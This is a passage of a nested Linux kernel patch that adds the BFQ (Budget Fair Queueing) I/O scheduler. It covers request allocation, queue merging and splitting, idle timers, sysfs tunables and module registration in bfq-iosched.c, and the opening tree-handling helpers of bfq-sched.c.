++		rq->elv.priv[0] = NULL;
++		rq->elv.priv[1] = NULL;
++
++		bfq_log_bfqq(bfqq->bfqd, bfqq, "put_request %p, %d",
++			     bfqq, atomic_read(&bfqq->ref));
++		bfq_put_queue(bfqq);
++	}
++}
++
++static struct bfq_queue *
++bfq_merge_bfqqs(struct bfq_data *bfqd, struct bfq_io_cq *bic,
++		struct bfq_queue *bfqq)
++{
++	bfq_log_bfqq(bfqd, bfqq, "merging with queue %lu",
++		(long unsigned)bfqq->new_bfqq->pid);
++	bic_set_bfqq(bic, bfqq->new_bfqq, 1);
++	bfq_mark_bfqq_coop(bfqq->new_bfqq);
++	bfq_put_queue(bfqq);
++	return bic_to_bfqq(bic, 1);
++}
++
++/*
++ * Returns NULL if a new bfqq should be allocated, or the old bfqq if this
++ * was the last process referring to said bfqq.
++ */
++static struct bfq_queue *
++bfq_split_bfqq(struct bfq_io_cq *bic, struct bfq_queue *bfqq)
++{
++	bfq_log_bfqq(bfqq->bfqd, bfqq, "splitting queue");
++	if (bfqq_process_refs(bfqq) == 1) {
++		bfqq->pid = current->pid;
++		bfq_clear_bfqq_coop(bfqq);
++		bfq_clear_bfqq_split_coop(bfqq);
++		return bfqq;
++	}
++
++	bic_set_bfqq(bic, NULL, 1);
++
++	bfq_put_cooperator(bfqq);
++
++	bfq_put_queue(bfqq);
++	return NULL;
++}
++
++/*
++ * Allocate bfq data structures associated with this request.
++ */
++static int bfq_set_request(struct request_queue *q, struct request *rq,
++			   struct bio *bio, gfp_t gfp_mask)
++{
++	struct bfq_data *bfqd = q->elevator->elevator_data;
++	struct bfq_io_cq *bic = icq_to_bic(rq->elv.icq);
++	const int rw = rq_data_dir(rq);
++	const int is_sync = rq_is_sync(rq);
++	struct bfq_queue *bfqq;
++	struct bfq_group *bfqg;
++	unsigned long flags;
++
++	might_sleep_if(gfp_mask & __GFP_WAIT);
++
++	bfq_changed_ioprio(bic);
++
++	spin_lock_irqsave(q->queue_lock, flags);
++
++	if (bic == NULL)
++		goto queue_fail;
++
++	bfqg = bfq_bic_update_cgroup(bic);
++
++new_queue:
++	bfqq = bic_to_bfqq(bic, is_sync);
++	if (bfqq == NULL || bfqq == &bfqd->oom_bfqq) {
++		bfqq = bfq_get_queue(bfqd, bfqg, is_sync, bic, gfp_mask);
++		bic_set_bfqq(bic, bfqq, is_sync);
++	} else {
++		/*
++		 * If the queue was seeky for too long, break it apart.
++		 */
++		if (bfq_bfqq_coop(bfqq) && bfq_bfqq_split_coop(bfqq)) {
++			bfq_log_bfqq(bfqd, bfqq, "breaking apart bfqq");
++			bfqq = bfq_split_bfqq(bic, bfqq);
++			if (!bfqq)
++				goto new_queue;
++		}
++
++		/*
++		 * Check to see if this queue is scheduled to merge with
++		 * another closely cooperating queue. The merging of queues
++		 * happens here as it must be done in process context.
++		 * The reference on new_bfqq was taken in merge_bfqqs.
++		 */
++		if (bfqq->new_bfqq != NULL)
++			bfqq = bfq_merge_bfqqs(bfqd, bic, bfqq);
++	}
++
++	bfqq->allocated[rw]++;
++	atomic_inc(&bfqq->ref);
++	bfq_log_bfqq(bfqd, bfqq, "set_request: bfqq %p, %d", bfqq,
++		     atomic_read(&bfqq->ref));
++
++	rq->elv.priv[0] = bic;
++	rq->elv.priv[1] = bfqq;
++
++	spin_unlock_irqrestore(q->queue_lock, flags);
++
++	return 0;
++
++queue_fail:
++	bfq_schedule_dispatch(bfqd);
++	spin_unlock_irqrestore(q->queue_lock, flags);
++
++	return 1;
++}
++
++static void bfq_kick_queue(struct work_struct *work)
++{
++	struct bfq_data *bfqd =
++		container_of(work, struct bfq_data, unplug_work);
++	struct request_queue *q = bfqd->queue;
++
++	spin_lock_irq(q->queue_lock);
++	__blk_run_queue(q);
++	spin_unlock_irq(q->queue_lock);
++}
++
++/*
++ * Handler of the expiration of the timer running if the in-service queue
++ * is idling inside its time slice.
++ */
++static void bfq_idle_slice_timer(unsigned long data)
++{
++	struct bfq_data *bfqd = (struct bfq_data *)data;
++	struct bfq_queue *bfqq;
++	unsigned long flags;
++	enum bfqq_expiration reason;
++
++	spin_lock_irqsave(bfqd->queue->queue_lock, flags);
++
++	bfqq = bfqd->in_service_queue;
++	/*
++	 * Theoretical race here: the in-service queue can be NULL or different
++	 * from the queue that was idling if the timer handler spins on
++	 * the queue_lock and a new request arrives for the current
++	 * queue and there is a full dispatch cycle that changes the
++	 * in-service queue.  This can hardly happen, but in the worst case
++	 * we just expire a queue too early.
++	 */
++	if (bfqq != NULL) {
++		bfq_log_bfqq(bfqd, bfqq, "slice_timer expired");
++		if (bfq_bfqq_budget_timeout(bfqq))
++			/*
++			 * Also here the queue can be safely expired
++			 * for budget timeout without wasting
++			 * guarantees
++			 */
++			reason = BFQ_BFQQ_BUDGET_TIMEOUT;
++		else if (bfqq->queued[0] == 0 && bfqq->queued[1] == 0)
++			/*
++			 * The queue may not be empty upon timer expiration,
++			 * because we may not disable the timer when the first
++			 * request of the in-service queue arrives during
++			 * disk idling
++			 */
++			reason = BFQ_BFQQ_TOO_IDLE;
++		else
++			goto schedule_dispatch;
++
++		bfq_bfqq_expire(bfqd, bfqq, 1, reason);
++	}
++
++schedule_dispatch:
++	bfq_schedule_dispatch(bfqd);
++
++	spin_unlock_irqrestore(bfqd->queue->queue_lock, flags);
++}
++
++static void bfq_shutdown_timer_wq(struct bfq_data *bfqd)
++{
++	del_timer_sync(&bfqd->idle_slice_timer);
++	cancel_work_sync(&bfqd->unplug_work);
++}
++
++static inline void __bfq_put_async_bfqq(struct bfq_data *bfqd,
++					struct bfq_queue **bfqq_ptr)
++{
++	struct bfq_group *root_group = bfqd->root_group;
++	struct bfq_queue *bfqq = *bfqq_ptr;
++
++	bfq_log(bfqd, "put_async_bfqq: %p", bfqq);
++	if (bfqq != NULL) {
++		bfq_bfqq_move(bfqd, bfqq, &bfqq->entity, root_group);
++		bfq_log_bfqq(bfqd, bfqq, "put_async_bfqq: putting %p, %d",
++			     bfqq, atomic_read(&bfqq->ref));
++		bfq_put_queue(bfqq);
++		*bfqq_ptr = NULL;
++	}
++}
++
++/*
++ * Release all the bfqg references to its async queues.  If we are
++ * deallocating the group these queues may still contain requests, so
++ * we reparent them to the root cgroup (i.e., the only one that will
++ * exist for sure untill all the requests on a device are gone).
++ */
++static void bfq_put_async_queues(struct bfq_data *bfqd, struct bfq_group *bfqg)
++{
++	int i, j;
++
++	for (i = 0; i < 2; i++)
++		for (j = 0; j < IOPRIO_BE_NR; j++)
++			__bfq_put_async_bfqq(bfqd, &bfqg->async_bfqq[i][j]);
++
++	__bfq_put_async_bfqq(bfqd, &bfqg->async_idle_bfqq);
++}
++
++static void bfq_exit_queue(struct elevator_queue *e)
++{
++	struct bfq_data *bfqd = e->elevator_data;
++	struct request_queue *q = bfqd->queue;
++	struct bfq_queue *bfqq, *n;
++
++	bfq_shutdown_timer_wq(bfqd);
++
++	spin_lock_irq(q->queue_lock);
++
++	BUG_ON(bfqd->in_service_queue != NULL);
++	list_for_each_entry_safe(bfqq, n, &bfqd->idle_list, bfqq_list)
++		bfq_deactivate_bfqq(bfqd, bfqq, 0);
++
++	bfq_disconnect_groups(bfqd);
++	spin_unlock_irq(q->queue_lock);
++
++	bfq_shutdown_timer_wq(bfqd);
++
++	synchronize_rcu();
++
++	BUG_ON(timer_pending(&bfqd->idle_slice_timer));
++
++	bfq_free_root_group(bfqd);
++	kfree(bfqd);
++}
++
++static int bfq_init_queue(struct request_queue *q)
++{
++	struct bfq_group *bfqg;
++	struct bfq_data *bfqd;
++
++	bfqd = kzalloc_node(sizeof(*bfqd), GFP_KERNEL, q->node);
++	if (bfqd == NULL)
++		return -ENOMEM;
++
++	/*
++	 * Our fallback bfqq if bfq_find_alloc_queue() runs into OOM issues.
++	 * Grab a permanent reference to it, so that the normal code flow
++	 * will not attempt to free it.
++	 */
++	bfq_init_bfqq(bfqd, &bfqd->oom_bfqq, 1, 0);
++	atomic_inc(&bfqd->oom_bfqq.ref);
++
++	bfqd->queue = q;
++	q->elevator->elevator_data = bfqd;
++
++	bfqg = bfq_alloc_root_group(bfqd, q->node);
++	if (bfqg == NULL) {
++		kfree(bfqd);
++		return -ENOMEM;
++	}
++
++	bfqd->root_group = bfqg;
++
++	init_timer(&bfqd->idle_slice_timer);
++	bfqd->idle_slice_timer.function = bfq_idle_slice_timer;
++	bfqd->idle_slice_timer.data = (unsigned long)bfqd;
++
++	bfqd->rq_pos_tree = RB_ROOT;
++
++	INIT_WORK(&bfqd->unplug_work, bfq_kick_queue);
++
++	INIT_LIST_HEAD(&bfqd->active_list);
++	INIT_LIST_HEAD(&bfqd->idle_list);
++
++	bfqd->hw_tag = -1;
++
++	bfqd->bfq_max_budget = bfq_default_max_budget;
++
++	bfqd->bfq_quantum = bfq_quantum;
++	bfqd->bfq_fifo_expire[0] = bfq_fifo_expire[0];
++	bfqd->bfq_fifo_expire[1] = bfq_fifo_expire[1];
++	bfqd->bfq_back_max = bfq_back_max;
++	bfqd->bfq_back_penalty = bfq_back_penalty;
++	bfqd->bfq_slice_idle = bfq_slice_idle;
++	bfqd->bfq_class_idle_last_service = 0;
++	bfqd->bfq_max_budget_async_rq = bfq_max_budget_async_rq;
++	bfqd->bfq_timeout[BLK_RW_ASYNC] = bfq_timeout_async;
++	bfqd->bfq_timeout[BLK_RW_SYNC] = bfq_timeout_sync;
++
++	bfqd->low_latency = true;
++
++	bfqd->bfq_raising_coeff = 20;
++	bfqd->bfq_raising_rt_max_time = msecs_to_jiffies(300);
++	bfqd->bfq_raising_max_time = 0;
++	bfqd->bfq_raising_min_idle_time = msecs_to_jiffies(2000);
++	bfqd->bfq_raising_min_inter_arr_async = msecs_to_jiffies(500);
++	bfqd->bfq_raising_max_softrt_rate = 7000; /*
++						   * Approximate rate required
++						   * to playback or record a
++						   * high-definition compressed
++						   * video.
++						   */
++	bfqd->raised_busy_queues = 0;
++
++	/* Initially estimate the device's peak rate as the reference rate */
++	if (blk_queue_nonrot(bfqd->queue)) {
++		bfqd->RT_prod = R_nonrot * T_nonrot;
++		bfqd->peak_rate = R_nonrot;
++	} else {
++		bfqd->RT_prod = R_rot * T_rot;
++		bfqd->peak_rate = R_rot;
++	}
++
++	return 0;
++}
++
++static void bfq_slab_kill(void)
++{
++	if (bfq_pool != NULL)
++		kmem_cache_destroy(bfq_pool);
++}
++
++static int __init bfq_slab_setup(void)
++{
++	bfq_pool = KMEM_CACHE(bfq_queue, 0);
++	if (bfq_pool == NULL)
++		return -ENOMEM;
++	return 0;
++}
++
++static ssize_t bfq_var_show(unsigned int var, char *page)
++{
++	return sprintf(page, "%d\n", var);
++}
++
++static ssize_t bfq_var_store(unsigned long *var, const char *page, size_t count)
++{
++	unsigned long new_val;
++	int ret = kstrtoul(page, 10, &new_val);
++
++	if (ret == 0)
++		*var = new_val;
++
++	return count;
++}
++
++static ssize_t bfq_raising_max_time_show(struct elevator_queue *e, char *page)
++{
++	struct bfq_data *bfqd = e->elevator_data;
++	return sprintf(page, "%d\n", bfqd->bfq_raising_max_time > 0 ?
++		       jiffies_to_msecs(bfqd->bfq_raising_max_time) :
++		       jiffies_to_msecs(bfq_wrais_duration(bfqd)));
++}
++
++static ssize_t bfq_weights_show(struct elevator_queue *e, char *page)
++{
++	struct bfq_queue *bfqq;
++	struct bfq_data *bfqd = e->elevator_data;
++	ssize_t num_char = 0;
++
++	num_char += sprintf(page + num_char, "Tot reqs queued %d\n\n",
++			    bfqd->queued);
++
++	spin_lock_irq(bfqd->queue->queue_lock);
++
++	num_char += sprintf(page + num_char, "Active:\n");
++	list_for_each_entry(bfqq, &bfqd->active_list, bfqq_list) {
++	  num_char += sprintf(page + num_char,
++			      "pid%d: weight %hu, nr_queued %d %d,"
++			      " dur %d/%u\n",
++			      bfqq->pid,
++			      bfqq->entity.weight,
++			      bfqq->queued[0],
++			      bfqq->queued[1],
++			jiffies_to_msecs(jiffies -
++				bfqq->last_rais_start_finish),
++			jiffies_to_msecs(bfqq->raising_cur_max_time));
++	}
++
++	num_char += sprintf(page + num_char, "Idle:\n");
++	list_for_each_entry(bfqq, &bfqd->idle_list, bfqq_list) {
++			num_char += sprintf(page + num_char,
++				"pid%d: weight %hu, dur %d/%u\n",
++				bfqq->pid,
++				bfqq->entity.weight,
++				jiffies_to_msecs(jiffies -
++					bfqq->last_rais_start_finish),
++				jiffies_to_msecs(bfqq->raising_cur_max_time));
++	}
++
++	spin_unlock_irq(bfqd->queue->queue_lock);
++
++	return num_char;
++}
++
++#define SHOW_FUNCTION(__FUNC, __VAR, __CONV)				\
++static ssize_t __FUNC(struct elevator_queue *e, char *page)		\
++{									\
++	struct bfq_data *bfqd = e->elevator_data;			\
++	unsigned int __data = __VAR;					\
++	if (__CONV)							\
++		__data = jiffies_to_msecs(__data);			\
++	return bfq_var_show(__data, (page));				\
++}
++SHOW_FUNCTION(bfq_quantum_show, bfqd->bfq_quantum, 0);
++SHOW_FUNCTION(bfq_fifo_expire_sync_show, bfqd->bfq_fifo_expire[1], 1);
++SHOW_FUNCTION(bfq_fifo_expire_async_show, bfqd->bfq_fifo_expire[0], 1);
++SHOW_FUNCTION(bfq_back_seek_max_show, bfqd->bfq_back_max, 0);
++SHOW_FUNCTION(bfq_back_seek_penalty_show, bfqd->bfq_back_penalty, 0);
++SHOW_FUNCTION(bfq_slice_idle_show, bfqd->bfq_slice_idle, 1);
++SHOW_FUNCTION(bfq_max_budget_show, bfqd->bfq_user_max_budget, 0);
++SHOW_FUNCTION(bfq_max_budget_async_rq_show, bfqd->bfq_max_budget_async_rq, 0);
++SHOW_FUNCTION(bfq_timeout_sync_show, bfqd->bfq_timeout[BLK_RW_SYNC], 1);
++SHOW_FUNCTION(bfq_timeout_async_show, bfqd->bfq_timeout[BLK_RW_ASYNC], 1);
++SHOW_FUNCTION(bfq_low_latency_show, bfqd->low_latency, 0);
++SHOW_FUNCTION(bfq_raising_coeff_show, bfqd->bfq_raising_coeff, 0);
++SHOW_FUNCTION(bfq_raising_rt_max_time_show, bfqd->bfq_raising_rt_max_time, 1);
++SHOW_FUNCTION(bfq_raising_min_idle_time_show, bfqd->bfq_raising_min_idle_time,
++	1);
++SHOW_FUNCTION(bfq_raising_min_inter_arr_async_show,
++	bfqd->bfq_raising_min_inter_arr_async,
++	1);
++SHOW_FUNCTION(bfq_raising_max_softrt_rate_show,
++	bfqd->bfq_raising_max_softrt_rate, 0);
++#undef SHOW_FUNCTION
++
++#define STORE_FUNCTION(__FUNC, __PTR, MIN, MAX, __CONV)			\
++static ssize_t								\
++__FUNC(struct elevator_queue *e, const char *page, size_t count)	\
++{									\
++	struct bfq_data *bfqd = e->elevator_data;			\
++	unsigned long uninitialized_var(__data);			\
++	int ret = bfq_var_store(&__data, (page), count);		\
++	if (__data < (MIN))						\
++		__data = (MIN);						\
++	else if (__data > (MAX))					\
++		__data = (MAX);						\
++	if (__CONV)							\
++		*(__PTR) = msecs_to_jiffies(__data);			\
++	else								\
++		*(__PTR) = __data;					\
++	return ret;							\
++}
++STORE_FUNCTION(bfq_quantum_store, &bfqd->bfq_quantum, 1, INT_MAX, 0);
++STORE_FUNCTION(bfq_fifo_expire_sync_store, &bfqd->bfq_fifo_expire[1], 1,
++		INT_MAX, 1);
++STORE_FUNCTION(bfq_fifo_expire_async_store, &bfqd->bfq_fifo_expire[0], 1,
++		INT_MAX, 1);
++STORE_FUNCTION(bfq_back_seek_max_store, &bfqd->bfq_back_max, 0, INT_MAX, 0);
++STORE_FUNCTION(bfq_back_seek_penalty_store, &bfqd->bfq_back_penalty, 1,
++		INT_MAX, 0);
++STORE_FUNCTION(bfq_slice_idle_store, &bfqd->bfq_slice_idle, 0, INT_MAX, 1);
++STORE_FUNCTION(bfq_max_budget_async_rq_store, &bfqd->bfq_max_budget_async_rq,
++		1, INT_MAX, 0);
++STORE_FUNCTION(bfq_timeout_async_store, &bfqd->bfq_timeout[BLK_RW_ASYNC], 0,
++		INT_MAX, 1);
++STORE_FUNCTION(bfq_raising_coeff_store, &bfqd->bfq_raising_coeff, 1,
++		INT_MAX, 0);
++STORE_FUNCTION(bfq_raising_max_time_store, &bfqd->bfq_raising_max_time, 0,
++		INT_MAX, 1);
++STORE_FUNCTION(bfq_raising_rt_max_time_store, &bfqd->bfq_raising_rt_max_time, 0,
++		INT_MAX, 1);
++STORE_FUNCTION(bfq_raising_min_idle_time_store,
++	       &bfqd->bfq_raising_min_idle_time, 0, INT_MAX, 1);
++STORE_FUNCTION(bfq_raising_min_inter_arr_async_store,
++		&bfqd->bfq_raising_min_inter_arr_async, 0, INT_MAX, 1);
++STORE_FUNCTION(bfq_raising_max_softrt_rate_store,
++	       &bfqd->bfq_raising_max_softrt_rate, 0, INT_MAX, 0);
++#undef STORE_FUNCTION
++
++/* do nothing for the moment */
++static ssize_t bfq_weights_store(struct elevator_queue *e,
++				    const char *page, size_t count)
++{
++	return count;
++}
++
++static inline unsigned long bfq_estimated_max_budget(struct bfq_data *bfqd)
++{
++	u64 timeout = jiffies_to_msecs(bfqd->bfq_timeout[BLK_RW_SYNC]);
++
++	if (bfqd->peak_rate_samples >= BFQ_PEAK_RATE_SAMPLES)
++		return bfq_calc_max_budget(bfqd->peak_rate, timeout);
++	else
++		return bfq_default_max_budget;
++}
++
++static ssize_t bfq_max_budget_store(struct elevator_queue *e,
++				    const char *page, size_t count)
++{
++	struct bfq_data *bfqd = e->elevator_data;
++	unsigned long uninitialized_var(__data);
++	int ret = bfq_var_store(&__data, (page), count);
++
++	if (__data == 0)
++		bfqd->bfq_max_budget = bfq_estimated_max_budget(bfqd);
++	else {
++		if (__data > INT_MAX)
++			__data = INT_MAX;
++		bfqd->bfq_max_budget = __data;
++	}
++
++	bfqd->bfq_user_max_budget = __data;
++
++	return ret;
++}
++
++static ssize_t bfq_timeout_sync_store(struct elevator_queue *e,
++				      const char *page, size_t count)
++{
++	struct bfq_data *bfqd = e->elevator_data;
++	unsigned long uninitialized_var(__data);
++	int ret = bfq_var_store(&__data, (page), count);
++
++	if (__data < 1)
++		__data = 1;
++	else if (__data > INT_MAX)
++		__data = INT_MAX;
++
++	bfqd->bfq_timeout[BLK_RW_SYNC] = msecs_to_jiffies(__data);
++	if (bfqd->bfq_user_max_budget == 0)
++		bfqd->bfq_max_budget = bfq_estimated_max_budget(bfqd);
++
++	return ret;
++}
++
++static ssize_t bfq_low_latency_store(struct elevator_queue *e,
++				     const char *page, size_t count)
++{
++	struct bfq_data *bfqd = e->elevator_data;
++	unsigned long uninitialized_var(__data);
++	int ret = bfq_var_store(&__data, (page), count);
++
++	if (__data > 1)
++		__data = 1;
++	if (__data == 0 && bfqd->low_latency != 0)
++		bfq_end_raising(bfqd);
++	bfqd->low_latency = __data;
++
++	return ret;
++}
++
++#define BFQ_ATTR(name) \
++	__ATTR(name, S_IRUGO|S_IWUSR, bfq_##name##_show, bfq_##name##_store)
++
++static struct elv_fs_entry bfq_attrs[] = {
++	BFQ_ATTR(quantum),
++	BFQ_ATTR(fifo_expire_sync),
++	BFQ_ATTR(fifo_expire_async),
++	BFQ_ATTR(back_seek_max),
++	BFQ_ATTR(back_seek_penalty),
++	BFQ_ATTR(slice_idle),
++	BFQ_ATTR(max_budget),
++	BFQ_ATTR(max_budget_async_rq),
++	BFQ_ATTR(timeout_sync),
++	BFQ_ATTR(timeout_async),
++	BFQ_ATTR(low_latency),
++	BFQ_ATTR(raising_coeff),
++	BFQ_ATTR(raising_max_time),
++	BFQ_ATTR(raising_rt_max_time),
++	BFQ_ATTR(raising_min_idle_time),
++	BFQ_ATTR(raising_min_inter_arr_async),
++	BFQ_ATTR(raising_max_softrt_rate),
++	BFQ_ATTR(weights),
++	__ATTR_NULL
++};
++
++static struct elevator_type iosched_bfq = {
++	.ops = {
++		.elevator_merge_fn =		bfq_merge,
++		.elevator_merged_fn =		bfq_merged_request,
++		.elevator_merge_req_fn =	bfq_merged_requests,
++		.elevator_allow_merge_fn =	bfq_allow_merge,
++		.elevator_dispatch_fn =		bfq_dispatch_requests,
++		.elevator_add_req_fn =		bfq_insert_request,
++		.elevator_activate_req_fn =	bfq_activate_request,
++		.elevator_deactivate_req_fn =	bfq_deactivate_request,
++		.elevator_completed_req_fn =	bfq_completed_request,
++		.elevator_former_req_fn =	elv_rb_former_request,
++		.elevator_latter_req_fn =	elv_rb_latter_request,
++		.elevator_init_icq_fn =		bfq_init_icq,
++		.elevator_exit_icq_fn =		bfq_exit_icq,
++		.elevator_set_req_fn =		bfq_set_request,
++		.elevator_put_req_fn =		bfq_put_request,
++		.elevator_may_queue_fn =	bfq_may_queue,
++		.elevator_init_fn =		bfq_init_queue,
++		.elevator_exit_fn =		bfq_exit_queue,
++	},
++	.icq_size =		sizeof(struct bfq_io_cq),
++	.icq_align =		__alignof__(struct bfq_io_cq),
++	.elevator_attrs =	bfq_attrs,
++	.elevator_name =	"bfq",
++	.elevator_owner =	THIS_MODULE,
++};
++
++static int __init bfq_init(void)
++{
++	/*
++	 * Can be 0 on HZ < 1000 setups.
++	 */
++	if (bfq_slice_idle == 0)
++		bfq_slice_idle = 1;
++
++	if (bfq_timeout_async == 0)
++		bfq_timeout_async = 1;
++
++	if (bfq_slab_setup())
++		return -ENOMEM;
++
++	elv_register(&iosched_bfq);
++	printk(KERN_INFO "BFQ I/O-scheduler version: v7");
++
++	return 0;
++}
++
++static void __exit bfq_exit(void)
++{
++	elv_unregister(&iosched_bfq);
++	bfq_slab_kill();
++}
++
++module_init(bfq_init);
++module_exit(bfq_exit);
++
++MODULE_AUTHOR("Fabio Checconi, Paolo Valente");
++MODULE_LICENSE("GPL");
++MODULE_DESCRIPTION("Budget Fair Queueing IO scheduler");
+diff --git a/block/bfq-sched.c b/block/bfq-sched.c
+new file mode 100644
+index 0000000..30df81c
+--- /dev/null
++++ b/block/bfq-sched.c
+@@ -0,0 +1,1077 @@
++/*
++ * BFQ: Hierarchical B-WF2Q+ scheduler.
++ *
++ * Based on ideas and code from CFQ:
++ * Copyright (C) 2003 Jens Axboe <axboe@kernel.dk>
++ *
++ * Copyright (C) 2008 Fabio Checconi <fabio@gandalf.sssup.it>
++ *		      Paolo Valente <paolo.valente@unimore.it>
++ *
++ * Copyright (C) 2010 Paolo Valente <paolo.valente@unimore.it>
++ */
++
++#ifdef CONFIG_CGROUP_BFQIO
++#define for_each_entity(entity)	\
++	for (; entity != NULL; entity = entity->parent)
++
++#define for_each_entity_safe(entity, parent) \
++	for (; entity && ({ parent = entity->parent; 1; }); entity = parent)
++
++static struct bfq_entity *bfq_lookup_next_entity(struct bfq_sched_data *sd,
++						 int extract,
++						 struct bfq_data *bfqd);
++
++static inline void bfq_update_budget(struct bfq_entity *next_active)
++{
++	struct bfq_entity *bfqg_entity;
++	struct bfq_group *bfqg;
++	struct bfq_sched_data *group_sd;
++
++	BUG_ON(next_active == NULL);
++
++	group_sd = next_active->sched_data;
++
++	bfqg = container_of(group_sd, struct bfq_group, sched_data);
++	/*
++	 * bfq_group's my_entity field is not NULL only if the group
++	 * is not the root group. We must not touch the root entity
++	 * as it must never become an active entity.
++	 */
++	bfqg_entity = bfqg->my_entity;
++	if (bfqg_entity != NULL)
++		bfqg_entity->budget = next_active->budget;
++}
++
++static int bfq_update_next_active(struct bfq_sched_data *sd)
++{
++	struct bfq_entity *next_active;
++
++	if (sd->active_entity != NULL)
++		/* will update/requeue at the end of service */
++		return 0;
++
++	/*
++	 * NOTE: this can be improved in many ways, such as returning
++	 * 1 (and thus propagating upwards the update) only when the
++	 * budget changes, or caching the bfqq that will be scheduled
++	 * next from this subtree.  By now we worry more about
++	 * correctness than about performance...
++	 */
++	next_active = bfq_lookup_next_entity(sd, 0, NULL);
++	sd->next_active = next_active;
++
++	if (next_active != NULL)
++		bfq_update_budget(next_active);
++
++	return 1;
++}
++
++static inline void bfq_check_next_active(struct bfq_sched_data *sd,
++					 struct bfq_entity *entity)
++{
++	BUG_ON(sd->next_active != entity);
++}
++#else
++#define for_each_entity(entity)	\
++	for (; entity != NULL; entity = NULL)
++
++#define for_each_entity_safe(entity, parent) \
++	for (parent = NULL; entity != NULL; entity = parent)
++
++static inline int bfq_update_next_active(struct bfq_sched_data *sd)
++{
++	return 0;
++}
++
++static inline void bfq_check_next_active(struct bfq_sched_data *sd,
++					 struct bfq_entity *entity)
++{
++}
++
++static inline void bfq_update_budget(struct bfq_entity *next_active)
++{
++}
++#endif
++
++/*
++ * Shift for timestamp calculations.  This actually limits the maximum
++ * service allowed in one timestamp delta (small shift values increase it),
++ * the maximum total weight that can be used for the queues in the system
++ * (big shift values increase it), and the period of virtual time wraparounds.
++ */
++#define WFQ_SERVICE_SHIFT	22
++
++/**
++ * bfq_gt - compare two timestamps.
++ * @a: first ts.
++ * @b: second ts.
++ *
++ * Return @a > @b, dealing with wrapping correctly.
++ */
++static inline int bfq_gt(u64 a, u64 b)
++{
++	return (s64)(a - b) > 0;
++}
++
++static inline struct bfq_queue *bfq_entity_to_bfqq(struct bfq_entity *entity)
++{
++	struct bfq_queue *bfqq = NULL;
++
++	BUG_ON(entity == NULL);
++
++	if (entity->my_sched_data == NULL)
++		bfqq = container_of(entity, struct bfq_queue, entity);
++
++	return bfqq;
++}
++
++
++/**
++ * bfq_delta - map service into the virtual time domain.
++ * @service: amount of service.
++ * @weight: scale factor (weight of an entity or weight sum).
++ */
++static inline u64 bfq_delta(unsigned long service,
++					unsigned long weight)
++{
++	u64 d = (u64)service << WFQ_SERVICE_SHIFT;
++
++	do_div(d, weight);
++	return d;
++}
++
++/**
++ * bfq_calc_finish - assign the finish time to an entity.
++ * @entity: the entity to act upon.
++ * @service: the service to be charged to the entity.
++ */
++static inline void bfq_calc_finish(struct bfq_entity *entity,
++				   unsigned long service)
++{
++	struct bfq_queue *bfqq = bfq_entity_to_bfqq(entity);
++
++	BUG_ON(entity->weight == 0);
++
++	entity->finish = entity->start +
++		bfq_delta(service, entity->weight);
++
++	if (bfqq != NULL) {
++		bfq_log_bfqq(bfqq->bfqd, bfqq,
++			"calc_finish: serv %lu, w %d",
++			service, entity->weight);
++		bfq_log_bfqq(bfqq->bfqd, bfqq,
++			"calc_finish: start %llu, finish %llu, delta %llu",
++			entity->start, entity->finish,
++			bfq_delta(service, entity->weight));
++	}
++}
++
++/**
++ * bfq_entity_of - get an entity from a node.
++ * @node: the node field of the entity.
++ *
++ * Convert a node pointer to the relative entity.  This is used only
++ * to simplify the logic of some functions and not as the generic
++ * conversion mechanism because, e.g., in the tree walking functions,
++ * the check for a %NULL value would be redundant.
++ */
++static inline struct bfq_entity *bfq_entity_of(struct rb_node *node)
++{
++	struct bfq_entity *entity = NULL;
++
++	if (node != NULL)
++		entity = rb_entry(node, struct bfq_entity, rb_node);
++
++	return entity;
++}
++
++/**
++ * bfq_extract - remove an entity from a tree.
++ * @root: the tree root.
++ * @entity: the entity to remove.
++ */
++static inline void bfq_extract(struct rb_root *root,
++			       struct bfq_entity *entity)
++{
++	BUG_ON(entity->tree != root);
++
++	entity->tree = NULL;
++	rb_erase(&entity->rb_node, root);
++}
++
++/**
++ * bfq_idle_extract - extract an entity from the idle tree.
++ * @st: the service tree of the owning @entity.
++ * @entity: the entity being removed.
++ */
++static void bfq_idle_extract(struct bfq_service_tree *st,
++			     struct bfq_entity *entity)
++{
++	struct bfq_queue *bfqq = bfq_entity_to_bfqq(entity);
++	struct rb_node *next;
++
++	BUG_ON(entity->tree != &st->idle);
++
++	if (entity == st->first_idle) {
++		next = rb_next(&entity->rb_node);
++		st->first_idle = bfq_entity_of(next);
++	}
++
++	if (entity == st->last_idle) {
++		next = rb_prev(&entity->rb_node);
++		st->last_idle = bfq_entity_of(next);
++	}
++
++	bfq_extract(&st->idle, entity);
++
++	if (bfqq != NULL)
++		list_del(&bfqq->bfqq_list);
++}
++
++/**
++ * bfq_insert - generic tree insertion.
++ * @root: tree root.
++ * @entity: entity to insert.
++ *
++ * This is used for the idle and the active tree, since they are both
++ * ordered by finish time.
++ */
++static void bfq_insert(struct rb_root *root, struct bfq_entity *entity)
++{
++	struct bfq_entity *entry;
++	struct rb_node **node = &root->rb_node;
++	struct rb_node *parent = NULL;
++
++	BUG_ON(entity->tree != NULL);
++
++	while (*node != NULL) {
++		parent = *node;
++		entry = rb_entry(parent, struct bfq_entity, rb_node);
++
++		if (bfq_gt(entry->finish, entity->finish))
++			node = &parent->rb_left;
++		else
++			node = &parent->rb_right;
++	}
++
++	rb_link_node(&entity->rb_node, parent, node);
++	rb_insert_color(&entity->rb_node, root);
++
++	entity->tree = root;
++}
++
++/**
++ * bfq_update_min - update the min_start field of a entity.
++ * @entity: the entity to update.
++ * @node: one of its children.
++ *
++ * This function is called when @entity may store an invalid value for
++ * min_start due to updates to the active tree.  The function  assumes
++ * that the subtree rooted at @node (which may be its left or its right
++ * child) has a valid min_start value.
++ */
++static inline void bfq_update_min(struct bfq_entity *entity,
++				  struct rb_node *node)
++{
++	struct bfq_entity *child;
++
++	if (node != NULL) {
++		child = rb_entry(node, struct bfq_entity, rb_node);
++		if (bfq_gt(entity->min_start, child->min_start))
++			entity->min_start = child->min_start;
++	}
++}
++
++/**
++ * bfq_update_active_node - recalculate min_start.
++ * @node: the node to update.
++ *
++ * @node may have changed position or one of its children may have moved,
++ * this function updates its min_start value.  The left and right subtrees
++ * are assumed to hold a correct min_start value.
++ */
++static inline void bfq_update_active_node(struct rb_node *node)
++{
++	struct bfq_entity *entity = rb_entry(node, struct bfq_entity, rb_node);
++
++	entity->min_start = entity->start;
++	bfq_update_min(entity, node->rb_right);
++	bfq_update_min(entity, node->rb_left);
++}
++
++/**
++ * bfq_update_active_tree - update min_start for the whole active tree.
++ * @node: the starting node.
++ *
++ * @node must be the deepest modified node after an update.  This function
